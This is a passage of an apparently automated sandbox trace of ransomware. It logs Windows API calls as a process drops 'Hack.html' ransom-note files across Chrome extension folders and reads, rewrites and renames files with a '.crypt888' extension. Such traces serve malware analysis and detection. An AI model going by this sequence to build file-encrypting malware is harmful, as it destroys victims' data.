HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.697] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.697] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr", lpFilePart=0x0) returned 0x89 [0072.697] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\", lpFilePart=0x0) returned 0x8a [0072.698] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.698] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.698] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.698] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.699] GetFileType (hFile=0x174) returned 0x1 [0072.699] GetFileType (hFile=0x174) returned 0x1 [0072.699] WriteFile (in: hFile=0x174, lpBuffer=0x26f5fe4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x26f5fe4*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0072.700] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk", lpFilePart=0x0) returned 0x89 [0072.700] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\", lpFilePart=0x0) returned 0x8a [0072.700] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.700] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.701] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk", lpFilePart=0x0) returned 0x89 [0072.701] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\", lpFilePart=0x0) returned 0x8a [0072.701] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.701] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.701] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.702] GetFileType (hFile=0x174) returned 0x1 [0072.702] GetFileType (hFile=0x174) returned 0x1 [0072.702] WriteFile (in: hFile=0x174, lpBuffer=0x26fb594*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x26fb594*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0072.703] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.704] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.705] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.705] GetFileType (hFile=0x174) returned 0x1 [0072.705] GetFileType (hFile=0x174) returned 0x1 [0072.705] WriteFile (in: hFile=0x174, lpBuffer=0x2700b44*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x2700b44*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0072.706] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.707] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.707] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.708] GetFileType (hFile=0x174) returned 0x1 [0072.708] GetFileType (hFile=0x174) returned 0x1 [0072.708] WriteFile (in: hFile=0x174, lpBuffer=0x27061d4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x27061d4*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0072.709] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.710] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.710] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.711] GetFileType (hFile=0x174) returned 0x1 [0072.711] GetFileType (hFile=0x174) returned 0x1 [0072.711] WriteFile (in: hFile=0x174, lpBuffer=0x270b864*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x270b864*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0072.712] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.713] GetFileType (hFile=0x174) returned 0x1 [0072.713] GetFileType (hFile=0x174) returned 0x1 [0072.713] WriteFile (in: hFile=0x174, lpBuffer=0x270e1ac*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb5c, lpOverlapped=0x0 | out: lpBuffer=0x270e1ac*, lpNumberOfBytesWritten=0x39eb5c*=0xba, lpOverlapped=0x0) returned 1 [0072.714] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*", lpFindFileData=0x39e918 | out: lpFindFileData=0x39e918) returned 0x59a228 [0072.715] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*", lpFindFileData=0x39e918 | out: lpFindFileData=0x39e918) returned 0x59a228 [0072.715] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.718] GetFileType (hFile=0x174) returned 0x1 [0072.718] GetFileType (hFile=0x174) returned 0x1 [0072.719] WriteFile (in: hFile=0x174, lpBuffer=0x2713dc8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb5c, lpOverlapped=0x0 | out: lpBuffer=0x2713dc8*, lpNumberOfBytesWritten=0x39eb5c*=0xba, lpOverlapped=0x0) returned 1 [0072.720] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.720] GetFileType (hFile=0x174) returned 0x1 [0072.720] GetFileType (hFile=0x174) returned 0x1 [0072.720] WriteFile (in: hFile=0x174, lpBuffer=0x27166e8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb90, lpOverlapped=0x0 | out: lpBuffer=0x27166e8*, lpNumberOfBytesWritten=0x39eb90*=0xba, lpOverlapped=0x0) returned 1 [0072.722] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.722] GetFileType (hFile=0x174) returned 0x1 [0072.722] GetFileType (hFile=0x174) returned 0x1 [0072.722] WriteFile (in: hFile=0x174, lpBuffer=0x2718ff0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebc4, lpOverlapped=0x0 | out: lpBuffer=0x2718ff0*, lpNumberOfBytesWritten=0x39ebc4*=0xba, lpOverlapped=0x0) returned 1 [0072.723] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*", lpFindFileData=0x39e980 | out: lpFindFileData=0x39e980) returned 0x59a228 [0072.724] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*", lpFindFileData=0x39e980 | out: lpFindFileData=0x39e980) returned 0x59a228 [0072.724] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*", lpFindFileData=0x39e94c | out: lpFindFileData=0x39e94c) returned 0x59a228 [0072.731] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*", lpFindFileData=0x39e94c | out: lpFindFileData=0x39e94c) returned 0x59a228 [0072.734] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0072.736] GetFileType (hFile=0x174) returned 0x1 [0072.736] GetFileType (hFile=0x174) returned 0x1 [0072.736] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0xc8d [0072.737] ReadFile (in: hFile=0x174, lpBuffer=0x2721e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x2721e78*, lpNumberOfBytesRead=0x39ebb8*=0xc8d, lpOverlapped=0x0) returned 1 [0072.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaec) returned 1 [0072.776] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0072.777] GetFileType (hFile=0x174) returned 0x1 [0072.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eae8) returned 1 [0072.777] GetFileType (hFile=0x174) returned 0x1 [0072.777] WriteFile (in: hFile=0x174, lpBuffer=0x2773e20*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x39eb7c, lpOverlapped=0x0 | out: lpBuffer=0x2773e20*, lpNumberOfBytesWritten=0x39eb7c*=0xc90, lpOverlapped=0x0) returned 1 [0072.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb90) returned 1 [0072.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb8c) returned 1 [0072.778] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.crypt888")) returned 1 [0072.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb04) returned 1 [0072.782] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0072.784] GetFileType (hFile=0x174) returned 0x1 [0072.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb00) returned 1 [0072.784] GetFileType (hFile=0x174) returned 0x1 [0072.784] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0x8f [0072.784] ReadFile (in: hFile=0x174, lpBuffer=0x277540c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x277540c*, lpNumberOfBytesRead=0x39ebb8*=0x8f, lpOverlapped=0x0) returned 1 [0072.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaec) returned 1 [0072.804] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0072.805] GetFileType (hFile=0x174) returned 0x1 [0072.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eae8) returned 1 [0072.805] GetFileType (hFile=0x174) returned 0x1 [0072.805] WriteFile (in: hFile=0x174, lpBuffer=0x27c35c4*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x39eb7c, lpOverlapped=0x0 | out: lpBuffer=0x27c35c4*, lpNumberOfBytesWritten=0x39eb7c*=0x90, lpOverlapped=0x0) returned 1 [0072.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb90) returned 1 [0072.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb8c) returned 1 [0072.806] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.crypt888")) returned 1 [0072.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb04) returned 1 [0072.808] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0072.808] GetFileType (hFile=0x174) returned 0x1 [0072.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb00) returned 1 [0072.808] GetFileType (hFile=0x174) returned 0x1 [0072.808] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0x5c [0072.808] ReadFile (in: hFile=0x174, lpBuffer=0x27c4b70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x27c4b70*, lpNumberOfBytesRead=0x39ebb8*=0x5c, lpOverlapped=0x0) returned 1 [0072.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaec) returned 1 [0072.829] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0072.830] GetFileType (hFile=0x174) returned 0x1 [0072.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eae8) returned 1 [0072.830] GetFileType (hFile=0x174) returned 0x1 [0072.830] WriteFile (in: hFile=0x174, lpBuffer=0x2812cc0*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x39eb7c, lpOverlapped=0x0 | out: lpBuffer=0x2812cc0*, lpNumberOfBytesWritten=0x39eb7c*=0x60, lpOverlapped=0x0) returned 1 [0072.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb90) returned 1 [0072.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb8c) returned 1 [0072.832] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.crypt888")) returned 1 [0072.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb04) returned 1 [0072.833] CreateFileW 